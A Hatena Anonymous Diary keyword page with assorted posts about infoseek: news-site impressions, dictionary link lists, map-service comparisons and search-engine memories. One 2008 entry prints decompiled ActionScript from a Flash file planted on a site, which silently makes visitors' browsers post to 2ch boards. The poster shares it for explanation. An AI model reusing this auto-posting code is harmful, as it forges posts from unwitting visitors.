「infoseek」を含む日記 RSS

はてなキーワード: infoseekとは

2009-02-08

功刀練武的個人ニュースサイトの印象

http://twitter.com/kunugiren/status/1186848431

1.カトゆー家断絶 ニュースターミナルセンタ。もうちょっとネタが欲しいなってときに見る程度で、実はほとんど見ていない。見たら参照元が全部ここになる。 39人いるらしい。

2.かーずSP 毎日開く。 更新時間が朝なので、夜に更新する身としては情報が古く感じてしまう。 最初会ったときはマリオみたいなヒゲが生えてた。

3.ゴルゴ31 他のサイト参照元にあったときにチラっと見てみる程度。サイトデザインは好き。

4.楽画喜堂 毎日開く。 更新タイミングがわからない。Amazonの予約開始情報は役立つ。infoseekからsakuraに移ったのを見て、うちも真似をした。

5.everything is gone 毎日開く。 幅広くフォローしてるなって思う。色分けされてて見やすい。

6.アキバBlog秋葉原ブログ) 毎日開く。 ここで紹介されたエロ漫画を買うことが多い。

7.Hjk/変人窟 見てない。 旅と気ぐるみの人。

8.HK-DMZ PLUS.COM 毎日開く。 もともとはビスケたん情報目当てで見始めた。フィルタが似ているっぽい。ニュースサイト始めるときに参考にした。 エロマンガに出た。そっくり。

9.BRAINSTORM 見てない。 シンプルで見やすい。

10.RinRin王国 毎日開く。 ワンフェスのときのLink集は重宝する。

11.Tentative Name. たまに開く。 オナホの人。なんかパソコン関係ネタないかなって思ったときはここを見る。 製麺業者の敵らしいが本当かネタかわからない。

12.MOON PHASE 毎日開く。 もともとは伺か情報目当てで見始めた。アニメ予定表を見てワクワクするのも良い。雑記情報の早さはすごい。

13.痕跡症候群 見てない。 フィルタが似てるかな。

14.まなめはうす 毎日開く。 オートアンカー使えないのがなんとも。 まなめ自重の検索結果 約 230,000 件

15.ねたミシュラン 毎日開く。 サムネイルがあれば便利なんですけどね。

16.白い戯言 毎日開く。 白球帝国国民になる方法が知りたい。以前はうちの参照元によく現れた。俺の学生時代とは全然違う。 愛されてる皇帝陛下最近は公務がお忙しいご様子。

17.さざなみ壊変 見てない。 以前は見てた。グラディウスのすごいとこ。

18.ぁゃιぃ(*゚ー゚)NEWS 毎日開く。 クリック数が見えるのは面白い。2ndのほうが有名、かな。

19.痛いニュース(ノ∀`) よく開く。 でも個人ニュースサイトじゃないよな。とりあえずリンクしておけばオッケィ。

20.MOON CHRONICLE 毎日開く。 ニュースサイト読本の人。あれに参加してなければいまだにコミケmixiスルーしてたと思う。 某ヲタショップの元店員で、最初に会ったとき、「あ、会ったことある」って思った。

21.好き好き大好きっ 見てない。 コメントが面白い。

22.朝目新聞-asame.com 見てない。 サイト名で嘘ニュース系だと勘違いしてた。量多い。

23.にゅーあきばどっとこむ 見てない。 どこ見ていいかわからなくなる。

24.酔拳の王だんげの方 見てない。 アナルの人。俺は紺野あずれが好き(誰も聞いてない)。

25.アルファルファモザイク 見てない。 個人ニュースサイトではないね。

26.読みゲー 毎日開く。 オートアンカー使えない。気が付くと大きくなってた。 誕生日が1日違い。会ってみたいがなかなかタイミングが。

27.ugNews.net 毎日開く。 ラーメンの人。画像貼ってあって良い。

28.情報屋さん。 毎日開く。 日替わりゲームキャラ楽しいビックリマン風のロゴが羨ましい。

29.無駄な領域リサイクル 毎日開く。 最近重いときがあるけど鯖のせいだと思う。 オーソドックスとか安定とか言われると実は嬉しい。

30.GIGAZINE(ギガジン) たまに見る。 サイト名を何故か覚えられない。

2009-01-31

翻訳サイトオンライン辞書語学学習サポートツール Translation / Online Dictionary / Support tool

[Translation] <翻訳サイト

  1. Yahoo! Babel Fish - Text Translation and Web Page Translation
  2. WorldLingo Language Translation Services. Free Online translations. Translation Software.
  3. Free Translation and Professional Translation Services from SDL
  4. Language Tools
  5. Google Translate
  6. Im Translator : Free Translation Service
  7. Dictionary.com
  8. Nice Translator
  9. リンク集翻訳辞書
  10. エキサイト 翻訳
  11. 英語翻訳 - Infoseek マルチ翻訳
  12. 無料翻訳,無料辞書

[Dictionary] <辞書

  1. Glosbe - 多言語オンライン辞書
  2. English Online Dictionaries and References | rhb's warehouse
  3. Google Custom Searches for English Learning | rhb's warehouse
  4. Google Dictionary
  5. LEXILOGOS Online dictionaries, maps, documents - languages & countries
  6. Answers.com: Wiki Q&A combined with free online dictionary, thesaurus, and encyclopedias
  7. Corpus of Contemporary American English (COCA)
  8. Wiktionary
  9. English to French, Italian, German & Spanish Dictionary - WordReference.com
  10. 英辞郎 on the WEB: 地球人ネットワークを創るアルク:スペースアルク
  11. 怒涛の翻訳辞書
  12. Cambridge Dictionaries Online - Cambridge University Press
  13. Dictionary and Thesaurus - Merriam-Webster Online
  14. ALLWORDS.COM -Online Dictionary, Language Guide, Foreign Language and Etymology
  15. Visuwords™ online graphical dictionary and thesaurus
  16. 英語学習辞典-英和辞典 和英辞典, Japanese-English-Japanese Dictionary
  17. オンラインで使える英英辞典 英和・和英辞典 [無料]: 外国語広場英語
  18. 英和・英英・類義語辞典(シソーラス)・反対語辞典一括検索
  19. Longman English Dictionary Online
  20. OneLook Dictionary Search
  21. Dictionary.com
  22. English-Chinese Online Dictionary
  23. Spanish to English Dictionary | Translation | Translator
  24. Free Dictionaries project
  25. Language Tools - iTools
  26. Foreignword.com - The Language Site: Online dictionaries & free translation tools
  27. Language Translation -- English, French, German, Spanish, Italian, Portuguese, Dutch, Russian, Greek, Norwegian, Chinese, Japanese & Korean
  28. Mongolian English Dictionary
  29. Online Japanese dictionary - new technology
  30. Free online Dictionary of English Pronunciation - Pronounce English words correctly
日本語
  1. kotobank時事問題ニュースもわかるネット百科事典コトバンク
  2. 漢字辞典ネット
  3. オンライン学術用語
クロアチア語
  1. Croatian-English -- English-Croatian Dictionary
  2. EUdict | European dictionary
  3. Croatian - English online dictionary | Hrvatsko - Engleski online rječnik
Multi-Language 多言語マルチリンガル
  1. Translate at Dictionary.com
  2. English-MultiLingual Online Dictionary. Free online English-MultiLingual translation
  3. Foreign Language Online Dictionaries and Free Translation Links
Special Terms 用途
  1. Internet Slang words - Internet Dictionary - InternetSlang.com
  2. 和製英語カタカナ英語を正す【無料】和英辞典

[Tools] <Tools & Web service> 語学学習サポートツール

  1. Online Multilingual Keyboard LEXILOGOS >>
  2. Learn Spanish, French, German, Italian and over 70 languages with Byki software.
  3. Anki - a friendly, intelligent spaced learning system
  4. On-line based typing in Japanese
    1. http://ajaxime.chasen.org/
    2. http://sumibi.org/
  5. Using Japanese font and IME at Internet Cafe
  6. Internet Japanese Test
  7. rikaichan | polarcloud.com
  8. EReK (English Sentence Search)
  9. JReK - Japanese Sentence Search
  10. ライフサイエンス辞書プロジェクト
  11. Browse Language Support / アドオン検索 :: Firefox Add-ons
  12. Mozilla Japan - Firefoxアドオン - 拡張機能 - 辞書翻訳
  13. East Asian Translator :: Firefox Add-ons
  14. Inline Translator :: Add-ons for Firefox
  15. 辞書翻訳/キングソフト辞書
  16. これは快適! Wikipedia検索できるFirefox辞書アドオン「qtl(Quick TransLation)」 - できるネット+ 編集部ブログ
  17. レビュー】入れておきたいFirefoxアドオン-ジャンルリスト翻訳/辞書」 | パソコン | マイコミジャーナル

語学学習サイトメモ

http://anond.hatelabo.jp/20090101193230

2009-01-30

地図サイト 神経質のお好み

ブラウザの検索バーが膨らまないよう、厳選して一つとするなら的参考用。

呼び出しクエリの作りやすさ、過去航空写真ルート検索、時刻表連動やスポットデータ等は、

瑣末として省略。

    シングルC時 住所検索結果 色分け その他

mapion  ×    全文・数字×  ○   縮尺に注釈、バルーンに中心からの距離、絞りワースト

mapfan  ○    前方・数字○  ×   賢い検索絞込みの基準

infoseek ×    全文・数字○  ×   クラシカル

Yahoo!  ○     全文・数字○  ○   色分け単位が条でなく丁目なのはYahooさんだけ

excite  ○    前方・数字×  ○   シングルC対応mapion。やや絞れる代わりに重い

goo    ×    全文・数字○  ×   住宅街でも営業所・建物名記載が異常に細かい

google  ×    前方・数字○  ×   丁目が任意だがmapfan並に賢い絞り、禁スクリプト地図クソ

ちず丸   ×    前方・数字○  ×   検索は賢いが地図が最も使いづらい

項目の意味は左から、

シングルクリック時にダブルクリックで全サイト共通で起こるセンタリングが起動するか

*例えば○○を字として「○○2条」を検索して…

 西○○や新○○まで出る=全文(検索型)、出ない=前方(一致型)

 データ通りに漢数字のみ解釈算用数字を無視して1条~99条まであるだけ出すのが数字×

 解釈して1条と3条~を出さないのが数字○

2008-12-11

http://anond.hatelabo.jp/20081211180453

google:ポータルサイトとは

http://ja.wikipedia.org/wiki/%E3%83%9D%E3%83%BC%E3%82%BF%E3%83%AB%E3%82%B5%E3%82%A4%E3%83%88

元々ポータルとは、港(port)から派生した言葉で、門や入口を表し、特に豪華な堂々とした門に使われた言葉である。このことから、ウェブアクセスするために、様々なコンテンツを有する、巨大なサイトポータルサイトというようになった。入口、玄関という意味エントランス(entrance) を使わなかったのは、ポータルには「豪華、堂々とした」という意味合いが強かったためと思われる。

ポータルサイトは、検索エンジンウェブディレクトリニュースオンライン辞書オークションなどのサービスを提供し、利用者の便宜を図っている。

ポータルサイトビジネスモデルは、サイト集客力を生かして広告や有料コンテンツで収入を得ることである。1996年以降のインターネットブームに乗じて、多くのポータルサイトが乱立したが、徐々に統廃合が進んでいる。

初期のポータルサイトは自前で検索エンジンウェブディレクトリ運用していたが、情報肥大化に対応しきれずアウトソーシングが多くなった。

生き残りをかけて、特定の地域サービスに特化した地域ポータルサイトや、インターネットサービスプロバイダプロバイダ)のサービス情報サイト育児環境オルタナティブカルチャー音楽女性生き方などにテーマを絞ったポータルサイトもある。不特定多数アクセスがあるだけに、こうしたポータルサイトアダルト情報を持ち込むことの是非を問う意見もある。

近年ポータルサイトから派生した、企業ポータル」が関心を高めている。企業に散らばっている様々なデータ情報を効率的に探したり利用するためにパソコンの画面上にこれら情報アプリケーションポートレットとして集約表示する技術がでてきた。画面は利用者の要求によって自由にレイアウトを変更でき、例えば社長用の画面、部長用の画面、営業用の画面、技術者用の画面など、それぞれの職種・役割に応じた最適画面を作ることが出来る。代表的な「ポータル製品としては、IBMWebSphere PortalMicrosoftMicrosoft SharePointなどがある。

http://e-words.jp/w/E3839DE383BCE382BFE383ABE382B5E382A4E38388.html

インターネット入り口となる巨大なWebサイト検索エンジンリンク集を核として、ニュース株価などの情報提供サービスブラウザから利用できるWebメールサービス電子掲示板チャットなど、ユーザインターネットで必要とする機能をすべて無料で提供して利用者数を増やし、広告電子商取引仲介サービスなどで収入を得るサイトのことをいう。Yahoo!ExciteInfoseekLycosgooなどの検索エンジン系のサイトや、Netscape Communications社やMicrosoft社などのWebブラウザメーカーサイトAOLリクルート、Walt DisneyなどのコンテンツプロバイダサイトSo-netBIGLOBEニフティなどのネットワークプロバイダサイトなどがそれぞれ強みを生かしながら激しい競争を繰り広げている。

http://d.hatena.ne.jp/keyword/%A5%DD%A1%BC%A5%BF%A5%EB%A5%B5%A5%A4%A5%C8

portal site

インターネットWWW)にアクセスするときに、玄関口となるウェブサイト

主に検索エンジンリンク集などを中心として、様々なサービスを提供することにより、利用者の増加を図っている。

番組的には簡単な表現のほうが良かったんじゃ?

2008-12-05

http://anond.hatelabo.jp/20081205131031

Yahooの検索なんてここ数年使ってないなぁと思った。

いや、出先のPCでトップがYahooになってたとか以外で使ってないな…

googleの前はinfoseekとかつかってたし。

2008-08-04

予告.inに仕込まれてた自動2ch書き込みFlashActionScript抽出してみた

予告.inに仕込まれてたFlash

yutori.2ch.net.hp.infoseek.co.jp/w/r/e/wrestleangel/post2ch.swf#host=yutori.2ch.net

ここ↑にあるやつ。

解説よろしく。

movie 'post2ch.swf' {
// flash 8, total frames: 17, frame rate: 12 fps, 320x320 px

  frame 1 {
    System.useCodepage = true;
    nret = function (k, v) {
      return (flash.external.ExternalInterface.call('d', k, v)).toString();
    };

    host2ch = 'tmp6.2ch.net';
    i = _url.indexOf('://');
    if (-1 < i) {
      host2ch = _url.substring(i + 3);
    }
    i = host2ch.indexOf('.2ch.net');
    if (-1 < i) {
      host2ch = host2ch.substring(0, i + 8);
    }
    path2ch = '/test/bbs.cgi?guid=ON';
    l = new LoadVars();
    i = _url.indexOf('#');
    u = '';
    if (0 < i) {
      u = _url.substring(i + 1);
    }
    LoadVars.prototype.sendNoEnc = function (url, target, method) {
      LoadVars.prototype._toString = LoadVars.prototype.toString;
      LoadVars.prototype.toString = function () {
        return unescape(this._toString());
      };

      ASSetPropFlags(LoadVars.prototype, '_toString', 3);
      this.send(url, target, method);
      LoadVars.prototype.toString = LoadVars.prototype._toString;
    };

    ASSetPropFlags(LoadVars.prototype, 'sendNoEnc', 3);
  }

  frame 2 {
    _root.nowtime = null;
    _root.secondpost = null;
    _root.FROM = null;
    _root.mail = null;
    _root.MESSAGE = null;
    _root.subject = null;
    _root.ng = null;
  }

  frame 3 {
    (flash.external.ExternalInterface.call('c')).toString();
  }

  frame 9 {
    if (_root.nowtime == null) {
      if (!_root.ng) {
        gotoAndPlay(3);
      } else {
        this.stop();
      }
    }
  }

  frame 10 {
    if (_root.nowtime == null) {
      gotoAndPlay(3);
    }
    nowtime = _root.nowtime;
    l.addRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    l.hana = 'mogera';
    l.time = '1180000000';
    if (l.time < nowtime) {
      l.time = nowtime;
    }
    l.key = '';
    l.bbs = 'kitchen';
    l.MESSAGE = '%82%D3%82%F1%82%C7%82%B5';
    l.subject = '%82%D3%82%F1%82%C7%82%B5';
    l.mail = '';
    l.FROM = '%82%D3%82%F1%82%C7%82%B5';
    l.submit = '%8F%E3%8BL%91S%82%C4%82%F0%8F%B3%91%F8%82%B5%82%C4%8F%91%82%AB%8D%9E%82%DE';
    buf = u.split('&amp;');
    i = 0;
    goto 623;
    for (;;) {
      ++i;
      label 623:
      if (i >= buf.length) break;
      a = buf[i].split('=');
      if (a[0] == 'FROM') {
        nret('FROM', a[1]);
      }
      if (a[0] == 'mail') {
        nret('mail', a[1]);
      }
      if (a[0] == 'MESSAGE') {
        nret('MESSAGE', a[1]);
      }
      if (a[0] == 'subject') {
        nret('subject', a[1]);
      }
      if (a[0] == 'key') {
        l.key = a[1];
      }
      if (a[0] == 'time') {
        l.time = a[1];
      }
      if (a[0] == 'bbs') {
        l.bbs = a[1];
      }
      if (a[0] == 'host') {
        host2ch = a[1];
      }
      if (a[0] == 'path') {
        path2ch = a[1];
      }
    }
  }

  frame 16 {
    if (_root.nowtime == null) {
      gotoAndPlay(3);
    }
    if (_root.FROM != null) {
      l.FROM = _root.FROM;
    }
    if (_root.mail != null) {
      l.mail = _root.mail;
    }
    if (_root.MESSAGE != null) {
      l.MESSAGE = _root.MESSAGE;
    }
    if (_root.subject != null) {
      l.subject = _root.subject;
    }
    if (l.key != '') {
      l.subject = '';
    }
    if (l.subject != '') {
      l.key = '';
    }
    l.sendNoEnc('http://' + host2ch + path2ch, '_2ch', 'POST');
  }

  frame 17 {
    if (_root.secondpost != null) {
      _root.secondpost = null;
      gotoAndPlay(4);
    }
    _root.nowtime = null;
    gotoAndPlay(2);
  }
}
||>

2008-05-31

Googleの何に驚いたかって

いまやありがたみを忘れ気味なんだけど、最初Googleの何に驚いたかって検索の速度だったよなあ。

オラぁMacユーザだから「シャーロック」っちゅうアプリOS標準でついてくる検索アプリ)で、AltavistaExciteInfoseekLycosgooなどを串刺し検索していた。

「シャーロック」の検索窓に検索したい語を打ち込みしばらく放置して(その間なにか別のWebページでも見つつ)検索し終えるのを待ってた。もっともその頃はダイアルアップでつないでいたから回線速度自体が遅かったけど。まあのんびりしたもんだ。

で今これを書いている時ふと気になってアプリケーションフォルダをのぞいてみたら「シャーロック」がまだ入っている事に気づき驚いた。オレの使っているのはまだOSX10.4なのだが10.5にも入っているのかなあ。で使いこなしてる人はいるのかなあ。

http://anond.hatelabo.jp/20090324022356

2008-03-11

Delphiインストール記4

http://anond.hatelabo.jp/20080304133755

の続き。

結果:インストールできた。

infoseek無料メールサービスを使っていると、どうやら添付メール及び本文記載の

コードごと削除されるようだ。今excite無料メールサービスで受信したらちゃんと添付された。

疑って悪かった。すまない、CodeGear

というわけでTBで指摘してくれた方、ありがとです。

2007-11-06

僕のネット検索サービス遍歴

97年 インターネット世界に飛び込む。

ヤホーという何でも調べられるサイトがあるとか。

すげー、ファイファン情報がいろいろ載ってるわー。

98年 アングラ世界に飛び込む。

姉からgooという検索サービスがいいらしいと聞いた。

あれ? yahooみたいに検索結果がディレクトリ構造になってないよ?

でも登録されてないサイトも引っかかって楽しいなー。

あれ? gooってエロサイトだったっけ? アドレス直打ちだと変なところにつながるなー。

99年 2ch世界に飛び込む。

infoseekやらexciteやらいろいろあるなー。いろいろ試してみるかー。

00年 Google世界に飛び込む。

2chの書き込みで発見したgoogleという検索エンジンが凄いらしい。

うわーすげー、掲示板の書き込みの文章の断片も検索できるし!

07年 未だにGoogleしか使っていません。

もう7年も使ってるのか。未だに「I'm feeling lucky」を有効に使ったことがない。

2007-01-09

正字正かな

現代仮名遣いに慣れきった私にはどうにも読みづらい。

ひらがなゲートウェイhttp://www.hiragana-gateway.com/)みたいな感じの現代仮名遣いゲートウェイとかあったら便利なのになぁ。

だれかPlaggerで作って!

http://anond.hatelabo.jp/20070109214907

正字→略字變換CGI 取扱説明書

http://daukan.hp.infoseek.co.jp/cgi-bin/henkan/henkan_torisetsu.htm

infoseekcgi直リンク無理なので説明書からどうぞ。

増田ではblockquoteのciteとtitleは自動生成されへんのか。

2006-12-11

形容詞

ジョージアテレビCMを見て,あるフレーズに興味をひかれた.

「このろくでもない素晴らしき世界に」

なんだこれ?

"ろくでもない"と"素晴らしき"が奇妙に馴染んでいる.

相反するとまでは言わないが,方向性の異なる形容詞たちがぴったりと結び付いている.

"ツンデレ"とかも似た表現なのかな?

しかも,"ろくでもない"と"素晴らしき"が,1+1=2的な関係に収まってねぇー.

この二つの形容詞で新しい意味を創造しているぞ.

しかかも,この表現が持つニュアンスを,他のいい方で表現できるのか?

言い換えることが困難,交換不可能,その人にしかできない仕事

なんかこのフレーズが輝いて見えてきた.

でも,落ち着いて考えてみると,

「なんだかんだ言って,世の中って素晴らしいよねぇ」とか「ろくでもねぇ世の中だよ.今の世界は」みたいに,

「世界」ついて言いたいときって,いい性質とあんまよくない性質の両方から言及されるからね.

だから,さっきのフレーズは当り前って言ったら,当り前だな.

他にも,「いつもひどい扱いをされるんだけど,たまに優しさを見せてくれるの.そんなところが好きなのかなー」のように,

裏と表のどちらも内在している物事に,惹かれることがよくある.

やっぱり,普通のこと?

でも,それを越えた何かが,あのフレーズにはあるような気がしてならないわ.

じっとあのフレーズを眺めてみると,ただの紋切型の表現とは思えん.

最後に,翻訳エンジンにかけてみた.

google

It is dense, is not slowly, it comes splendidly, in the world

excite

To the wonderful world that is not either

infoseek

In this worthless splendid world

googleは論外だけど,他はぱっとみ,意味が通じているように思える.

と同時に,字句を辞書みたいな1対1対応で,ただ羅列しただけのようにも思える.

nativeはどんな感覚をもつんだろう?

ていうか,計算機と人間のどっちでもいいんだけど,

英語でどう表現できるんだろう?

ログイン ユーザー登録
ようこそ ゲスト さん